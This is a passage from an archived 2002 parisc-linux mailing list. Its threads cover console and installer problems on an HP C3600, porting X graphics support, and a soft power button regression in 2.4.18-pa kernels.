	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15274


Joel Soete wrote:
> Hi Alex,
> 
> Alex Green wrote:
> 
>> Hi,
>>  
>> I have an a problem running the latest netinstall iso on my C3600, 
>> when I boot from the CD with the 32bit kernel, I get some screen 
>> corruption and then the first installer screen appears but I have no 
>> keyboard response.  And if I boot from the 64bit kernel I, the 
>> installer starts on the serial interface, however when I attach a 
>> serial console the screen doesn't output correctly.
> 
> 
> If it is a hp terminal, you can change the emulation. It depends of the 
> terminal type but you can have a look in your user guide or test (but I 
> think that would request severall reboot) the emulation nearest vt100 IIRC.
> 
> Once you have found the right emulation, try first the more stable 
> 32-bits kernel (IIRC if you unplug ps/2 or usb mouse and keyboard, the 
> kernel will switch to serial console on port 1).

Another good solution could also be to run minicom as console emulation.

> 
>> The C3600 installed with a FXE5 and 512Mb RAM, the SCSI disk that will 
>> be used is on the internal interface.
>>  
> 
> 
> Dono if it is already supported (have a look a 
> http://hwdb.parisc-linux.org/: I see that some one has already reach to 
> install parisc-linux successfully)
> 
> Good luck,
>     Joel
> 





From - Thu Nov 08 21:23:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 24bit colour
Date: Mon, 01 Jul 2002 21:15:14 +0000
Lines: 32
Approved: news@gmane.org
Message-ID: <3D20C662.9030008@freebel.net>
References: <5.1.0.14.0.20020610084610.026cfc70@10.106.16.2> <20020610203815.8349B380D5@carmen.fc.hp.com> <1024391159.3d0ef7f7c3903@webmail.tiscalinet.be> <20020618121104.E9435@parcelfarce.linux.theplanet.co.uk> <1025099026.3d19c51207773@webmail.tiscalinet.be> <20020626144536.B28662@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621451 9808 80.91.229.3 (22 Nov 2014 01:57:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:31 +0000 (UTC)
Cc: Matt Taggart <taggart@carmen.fc.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  2 11:30:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm2.tiscalinet.be (unknown [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id BA5264836
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Jul 2002 11:30:05 -0600 (MDT)
Original-Received: from [62.235.230.18] (helo=freebel.net)
	by spoolm2.tiscalinet.be with esmtp (Tiscalinet) 
	id 17PREn-0002Xx-00; Tue, 02 Jul 2002 19:14:49 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020615 Debian/1.0.0-3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15275

Hey,

I found on this site <ftp://ftp.cirr.com/pub/hppa/mklinux/>
some patch against X11R6(.3?).

Could that be interesting?

Matthew Wilcox wrote:
> On Wed, Jun 26, 2002 at 03:43:46PM +0200, joel.soete@freebel.net wrote:
> 
>>Quoting Matthew Wilcox <willy@debian.org>:
>>
>>>it's probably less work to teach XFree86 how to talk to your gfx card
>>>than it is to get the HPUX X server to run on Linux.
>>
>>I would prefer also but is there any documentation about this interface?
> 
> 
> i meant that it's probably less work to reverse-engineer the interface
> and implement it in XFree86 than it is to get the HPUX X server working.
> 


That is I would like to read. But it is already too hard for me to hack 
linux kernel (with kernel sources). So i do not even have the very 
begining of a small idea about how to hack HPUX. Sorry.

Joel





From - Thu Nov 08 21:23:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Power Button doesn't turn machine off anymore
Date: Tue, 2 Jul 2002 20:35:58 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <20020702183558.GO25586@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621451 9812 80.91.229.3 (22 Nov 2014 01:57:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  2 12:36:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C7DE482F
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Jul 2002 12:36:03 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP id D392B15C016
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Jul 2002 20:36:00 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id A6452633A8; Tue,  2 Jul 2002 20:35:58 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-message-flag: Outlook? Viral infections & bugs for the foreseeable future
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15276

ok, I checked my kern.log:

The last time the "Gecko-style soft power enabled" turns up in the log
is today.

But it doesn't work anymore!
I can "turn off" the machine, but it doesn't halt itself or go down.

I'm running 2.4.18-pa46, it wasn't working with pa42 either, IMHO pa40
was still working. In pa35 it was definitely still working!
-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Why you can't find your system administrators:
They are on holiday for the first time in 5 years 




From - Thu Nov 08 21:23:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power Button doesn't turn machine off anymore
Date: Tue, 2 Jul 2002 20:51:17 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <B1225F09-8DEC-11D6-A95C-0030656F07A2@esiee.fr>
References: <20020702183558.GO25586@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v482)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621452 9818 80.91.229.3 (22 Nov 2014 01:57:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  2 12:51:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 012D24830
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Jul 2002 12:51:19 -0600 (MDT)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id AAE0949BEE; Tue,  2 Jul 2002 20:51:17 +0200 (CEST)
In-Reply-To: <20020702183558.GO25586@charite.de>
X-Mailer: Apple Mail (2.482)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15277

Le mardi 2 juillet 2002, =E0 08:35 , Ralf Hildebrandt a =E9crit :

> ok, I checked my kern.log:
>
> The last time the "Gecko-style soft power enabled" turns up in the log
> is today.
>
> But it doesn't work anymore!
> I can "turn off" the machine, but it doesn't halt itself or go down.
I had the same problem on a 712 and a B132.
Though I hadn't time to try again with 712, the simple fact of rebooting=20=

the B132 again made it work.

On another one it work at first shot...

This is quite weird...
>
> I'm running 2.4.18-pa46, it wasn't working with pa42 either, IMHO pa40
> was still working. In pa35 it was definitely still working!
tried -pa45, but no change was made between pa45 and pa46 on that part.
pa42 didn't work either...

It seems that it is related to the changes Helge did in pa42... :)



Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:23:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power Button doesn't turn machine off anymore
Date: Tue, 2 Jul 2002 19:52:56 +0100 (IST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0207021951010.16680-100000@sal.ucc.ie>
References: <20020702183558.GO25586@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621452 9821 80.91.229.3 (22 Nov 2014 01:57:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  2 12:53:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 527274855
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Jul 2002 12:53:00 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id TAA09152;
	Tue, 2 Jul 2002 19:53:05 +0100 (BST)
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20020702183558.GO25586@charite.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15278

On Tue, 2 Jul 2002, Ralf Hildebrandt wrote:

> ok, I checked my kern.log:
>
> The last time the "Gecko-style soft power enabled" turns up in the log
> is today.
>
> But it doesn't work anymore!
> I can "turn off" the machine, but it doesn't halt itself or go down.
>
> I'm running 2.4.18-pa46, it wasn't working with pa42 either, IMHO pa40
> was still working. In pa35 it was definitely still working!

That's strange. -pa45 works for me (on a C240), but I think -pa39 wasn't!

Any suggestions ?

greetings max





From - Thu Nov 08 21:23:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power Button doesn't turn machine off anymore
Date: Tue, 2 Jul 2002 20:57:08 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <20020702185708.GP25586@charite.de>
References: <20020702183558.GO25586@charite.de> <B1225F09-8DEC-11D6-A95C-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621452 9823 80.91.229.3 (22 Nov 2014 01:57:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:32 +0000 (UTC)
Cc: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>,
	parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  2 12:57:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id D04034838
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Jul 2002 12:57:09 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 4458715C017; Tue,  2 Jul 2002 20:57:08 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 210C7633A8; Tue,  2 Jul 2002 20:57:08 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <B1225F09-8DEC-11D6-A95C-0030656F07A2@esiee.fr>
User-Agent: Mutt/1.4i
X-message-flag: Outlook? Viral infections & bugs for the foreseeable future
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15279

Am 02.07.2002 um 20:51:17 +0200 schrieb Thibaut VARENE folgendes:

> I had the same problem on a 712 and a B132.

Actually, it's a 712/80

> Though I hadn't time to try again with 712, the simple fact of rebooting 
> the B132 again made it work.

I rebooted the new pa46 kernel JUST to test this. No go.

> It seems that it is related to the changes Helge did in pa42... :)

That dreaded 42!

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Why you can't find your system administrators:
(S)he's out buying some caffeine. 




From - Thu Nov 08 21:23:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joachim Steiger <roh@hyte.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power Button doesn't turn machine off anymore
Date: Tue, 2 Jul 2002 21:03:28 +0200 (CEST)
Lines: 33
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0207022058510.32706-100000@reactor.hyte.de>
References: <20020702183558.GO25586@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621453 9825 80.91.229.3 (22 Nov 2014 01:57:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  2 13:05:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from reactor.hyte.de (reactor.hyte.de [212.84.215.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA5164833
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Jul 2002 13:05:33 -0600 (MDT)
Original-Received: from roh (helo=localhost)
	by reactor.hyte.de with local-esmtp (Exim 3.15 #8)
	id 17PSvw-00006V-00; Tue, 02 Jul 2002 21:03:28 +0200
In-Reply-To: <20020702183558.GO25586@charite.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15280

On Tue, 2 Jul 2002, Ralf Hildebrandt wrote:

> ok, I checked my kern.log:
> 
> The last time the "Gecko-style soft power enabled" turns up in the log
> is today.
> 
> But it doesn't work anymore!
> I can "turn off" the machine, but it doesn't halt itself or go down.
> 
> I'm running 2.4.18-pa46, it wasn't working with pa42 either, IMHO pa40
> was still working. In pa35 it was definitely still working!
> 

i'm running 
Linux version 2.4.17-32 (root@paer) (gcc version 3.0.4) #1 Sat Mar 16
17:09:00 MST 2002
from debian-unstable here and have the same effect
Enabled gecko-style soft power switch.
is printed out in my kernellog so i think it 'should' work
the machine is a 712/80 and this is the first kernel i run on it, so i
cannot tell you if it ever worked... it just doesnt work for me

can somebody with insight in the code please describe how it should work?

i have no clue if there is something like a apmd/acpid i should run.

tia

roh




From - Thu Nov 08 21:23:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power Button doesn't turn machine off anymore
Date: Tue, 2 Jul 2002 15:06:06 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20020702190606.GA3678@systemhalted>
References: <20020702183558.GO25586@charite.de> <B1225F09-8DEC-11D6-A95C-0030656F07A2@esiee.fr> <20020702185708.GP25586@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621453 9828 80.91.229.3 (22 Nov 2014 01:57:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:33 +0000 (UTC)
Cc: Thibaut VARENE <varenet@esiee.fr>,
	parisc-linux@lists.parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  2 13:06:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id C7E20485E
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Jul 2002 13:06:12 -0600 (MDT)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 17PSyU-0000yF-00; Tue, 02 Jul 2002 15:06:06 -0400
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>,
	Thibaut VARENE <varenet@esiee.fr>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20020702185708.GP25586@charite.de>
User-Agent: Mutt/1.3.28i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (9% Sync Ratio [=.........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15281

> Am 02.07.2002 um 20:51:17 +0200 schrieb Thibaut VARENE folgendes:
> > I had the same problem on a 712 and a B132.
> Actually, it's a 712/80
> > Though I hadn't time to try again with 712, the simple fact of rebooting 
> > the B132 again made it work.
> I rebooted the new pa46 kernel JUST to test this. No go.
> > It seems that it is related to the changes Helge did in pa42... :)
> That dreaded 42!
>

Okie. Time to ask questions.

What toolchain did you use to build your kernel?

c.



From - Thu Nov 08 21:23:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Power Button doesn't turn machine off anymore
Date: Tue, 2 Jul 2002 21:08:42 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <20020702190842.GR25586@charite.de>
References: <20020702183558.GO25586@charite.de> <B1225F09-8DEC-11D6-A95C-0030656F07A2@esiee.fr> <20020702185708.GP25586@charite.de> <20020702190606.GA3678@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621453 9830 80.91.229.3 (22 Nov 2014 01:57:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:33 +0000 (UTC)
To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>,
	Thibaut VARENE <varenet@esiee.fr>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  2 13:08:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 388684856
	for <parisc-linux@lists.parisc-linux.org>; Tue,  2 Jul 2002 13:08:44 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 9D62D15C017; Tue,  2 Jul 2002 21:08:42 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 79A6F633A8; Tue,  2 Jul 2002 21:08:42 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20020702190606.GA3678@systemhalted>
User-Agent: Mutt/1.4i
X-message-flag: Outlook? Viral infections & bugs for the foreseeable future
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15282

Am 02.07.2002 um 15:06:06 -0400 schrieb Carlos O'Donell folgendes:

> Okie. Time to ask questions.
> 
> What toolchain did you use to build your kernel?

Toolchain?
I'm running Debian unstable on the box and built it directly on the
box, using make-kpkg (as usual)

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Why you can't find your system administrators:
they're seeing a therapist who doesn't have any computers in their office, a non-threatening place. 




From - Thu Nov 08 21:23:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C240 and PCI (PC) graphics card
Date: Tue, 2 Jul 2002 20:16:47 +0100 (IST)
Lines: 39
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0207021953230.16680-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621454 9834 80.91.229.3 (22 Nov 2014 01:57:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
